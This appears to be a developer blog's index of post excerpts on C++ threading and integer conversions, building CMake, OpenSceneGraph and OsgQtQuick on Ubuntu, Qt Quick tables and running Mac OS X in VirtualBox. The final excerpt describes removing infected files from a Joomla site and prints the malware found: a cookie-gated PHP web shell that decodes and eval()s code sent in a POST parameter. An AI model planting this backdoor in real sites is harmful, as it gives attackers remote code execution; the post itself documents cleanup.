An example of how GCC thread sanitizer works.

The following simple code C++ example can be used for investigation of how GCC thread sanitizer works:

#include <mutex>
#include <atomic>
#include <iostream>
#include <thread>

std::mutex mutex;
int a = 3;
const size_t size = 1000 * 1000;
std::atomic<int> b(1);

void testA()
{
	for (size_t counter = 0; counter < size; counter++)
	{
		++b;
		std::unique_lock<std::mutex> lock(mutex);
		++a;
	}
}

void testB()
{
	for (size_t counter = 0; counter < size; counter++)
	{
		--b;
		std::unique_lock<std::mutex> lock(mutex);
		--a;
	}
}

int main()
{
	std::thread t1(testA);
	std::thread t2(testB);
	t1.join();
	t2.join();
}

(more…)

Multiple views with OsgQtQuick

I wrote a sample application using OsgQtQuick that shows the Earth in two views:

with the following QML, that I copied from OsgQtQuick samples:

(more…)

A sample C++ code demonstrating why int is not atomic

The code below demonstrates why it is not guaranteed that 4-byte value being written by another thread is read either as original or final, but it can be read “partially written”:

static constexpr int offset=2;
alignas(64) char vars[64+4-offset];
static volatile unsigned * const p = reinterpret_cast<unsigned *>(&vars[64-offset]);

unsigned getVar()
{
    return *p;
}

void loop()
{
    while(true)
    {
        *p = -1;
        *p = 0;
    }
}

#include <thread>
#include <iostream>
#include <iomanip>
#include <cstdlib>
#include <map>

int main()
{
    std::thread thread(loop);
    std::map<unsigned,int> xs;
    for(int i=0;i<10000000;++i)
    {
        const auto x=getVar();
        ++xs[x];
    }
    for(const auto& x : xs)
        std::cout << std::setfill('0') << std::setw(8) << std::hex << x.first << ": " << std::dec << x.second << " times\n";
    std::exit(0); // exit, killing the thread without abnormal termination via std::terminate
}

(more…)

Compiling the latest version of CMake from sources on Ubuntu

I was unable to add QML resources to a QT Quick application with CMake 2.8 installed on my machine, so I built the latest version of CMake with the following commands:

cd ~/examples
mkdir tools
cd tools
mkdir install
tar -xf ~/Downloads/cmake-3.9.1.tar.gz
cd cmake-3.9.1/
./configure --prefix=/home/dmitry/examples/tools/install/
make -j4
make install

Now my QT application is compiled and run successfully:

~/examples/tools/install/bin/cmake ../../OsgQmlTest/ -DCMAKE_BUILD_TYPE=Debug -DCMAKE_MODULE_PATH=/home/user/3rdpart/osg/CMakeModules/ -DCMAKE_INSTALL_PREFIX=/home/dmitry/examples/install
make -j4
make install

(more…)

Building OsgQtQuick on Ubuntu 14.04

The following section in OsgQtQuick‘s CMakeLists.txt:

find_package(OpenSceneGraph 3.0 REQUIRED
  osg
  osgQt
  osgDB
  osgGA
  osgManipulator
  osgUtil
  osgViewer
  osgText)

results in CMake searching for FindOpenSceneGraph.cmake file:

strace cmake ../../osgqtquick/ -DCMAKE_BUILD_TYPE=Debug -DCMAKE_INSTALL_PREFIX=/home/dmitry/examples/install |& grep -i OpenSceneGraph
access("/home/dmitry/examples/osgqtquick/cmake/FindOpenSceneGraph.cmake", R_OK) = -1 ENOENT (No such file or directory)
access("/usr/share/cmake-2.8/Modules/FindOpenSceneGraph.cmake", R_OK) = 0
access("/usr/share/cmake-2.8/Modules/FindOpenSceneGraph.cmake", R_OK) = 0
stat("/usr/share/cmake-2.8/Modules/FindOpenSceneGraph.cmake", {st_mode=S_IFREG|0644, st_size=7438, ...}) = 0
open("/usr/share/cmake-2.8/Modules/FindOpenSceneGraph.cmake", O_RDONLY) = 3
read(3, "# - Find OpenSceneGraph\n# This m"..., 8192) = 7438
read(3, "/* -*-c++-*- OpenSceneGraph - Co"..., 4096) = 3495
read(3, "/* -*-c++-*- OpenSceneGraph - Co"..., 8191) = 3495
  Could NOT find OpenSceneGraph (missing: OPENSCENEGRAPH_LIBRARIES
  OPENSCENEGRAPH_INCLUDE_DIR OSG_FOUND OSGQT_FOUND OSGDB_FOUND OSGGA_FOUND
  /usr/share/cmake-2.8/Modules/FindOpenSceneGraph.cmake:187 (FIND_PACKAGE_HANDLE_STANDARD_ARGS)
access("/usr/share/cmake-2.8/Modules/FindOpenSceneGraph.cmake", R_OK) = 0

(more…)

Qt Quick Controls 2 has TableView but without the header yet

QT 5.13 supports SplitView and TableView but without TableHeader yet. Probably TableHeader can be implemented with the overlays. And there is an interesting example of implementation of table header with the source code.

The information provided below is outdated.

Qt Quick Controls 2 does not support TableView and looks like they are not going to support it, some notable missing features from Qt Quick Controls 1 also are Action, SplitView and TreeView, so the following QML code would not work:

TableView {

    TableViewColumn {
        role: "time"
        title: qsTr("date/time:")
        width: parent.width - 30
    }

    TableViewColumn {
        role: "score"
        title: qsTr("result:")
        width: 30
    }

    model: boardModel.list

    ScrollIndicator.vertical: ScrollIndicator { }
}

But there is a solution with ListView, so there can be something like this:

(more…)

Running Mac OS X with Virtual Box

I successfully installed Mac OS X Snow Leopard on Virtual Box using iBoot. iBoot requires “Enable EFI …” to be unchecked:

(more…)

Numeric promotions and conversions in C++

In the following C++ code the values of ‘z’ and ‘n’ are undefined, because they are the result of an operation with signed integer arithmetic overflow (‘x’ and ‘y’ are first implicitly converted to signed int). The value of ‘w’ is implementation defined, because it is the result of a conversion:

#include <iostream>
#include <bitset>

int main(int argc, char *argv[])
{
    unsigned short x = 65535, y = x;
    unsigned short z = x * y;
    unsigned int n = x * y;
    std::cerr << "z = " << std::bitset<16>(z) << ", n = " << std::bitset<32>(n) << ", sizeof(int) = " << sizeof(int) << std::endl;

    short w = 0x80000000;
    
    return 0;
}

see Numeric conversions section of Implicit conversions article.

Building OsgEarth on Ubuntu 14.04

I already had QT 5.5.1 with GCC 4.7.3 (and probably some libraries, including libcurl4-gnutls-dev, libgdal-dev, glut, that are installed, but not built) on my machine, so I built OSG with the following commands (I am not sure that it makes a sense to clone recursively, but making with ‘CMAKE_BUILD_TYPE=Debug’ can be better than with ‘debug’ or ‘DEBUG’, because CMAKE does case-sensitive compare. We can build osgEarth 2.8 against OSG 3.4 or osgEarth master branch against OSG 3.4 or newer..):

cd ~
mkdir examples
cd examples
mkdir install
git clone --recursive https://github.com/openscenegraph/OpenSceneGraph.git
git tag
git reset --hard OpenSceneGraph-3.4.0
mkdir -p build/osg
cd build/osg
cmake ../../OpenSceneGraph/ -DCMAKE_BUILD_TYPE=Debug -DCMAKE_INSTALL_PREFIX=/home/dmitry/examples/install
make -j3 install
export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/home/dmitry/examples/install/lib64
~/examples/install/bin
./osgversiond

(more…)

How I removed infected PHP files from Joomla 1.5 wesite.

I noticed that there are some suspicious PHP files with the following content on my Joomla 1.5 website:

<?php
if(!empty($_COOKIE['__utma']) and substr($_COOKIE['__utma'],0,16)=='3469825000034634'){
if (!empty($_POST['msg']) and $msg=@gzinflate(@base64_decode(@str_replace(' ','',urldecode($_POST['msg']))))){
  echo '<textarea id=areatext>';
  eval($msg);
  echo '</textarea>bg';
  exit;
}}

I used the following commands to list them and remove them:

find -type f -name "*.php" -printf '%T@ %p\n' | sort -r | awk '{print $2}' | xargs ls -l | less -N
grep --color -r -i -l "3469825000034634" . --include=*.{php,css,html} | xargs ls -l
grep --color -r -i -l "3469825000034634" . --include=*.{php,css,html} | xargs rm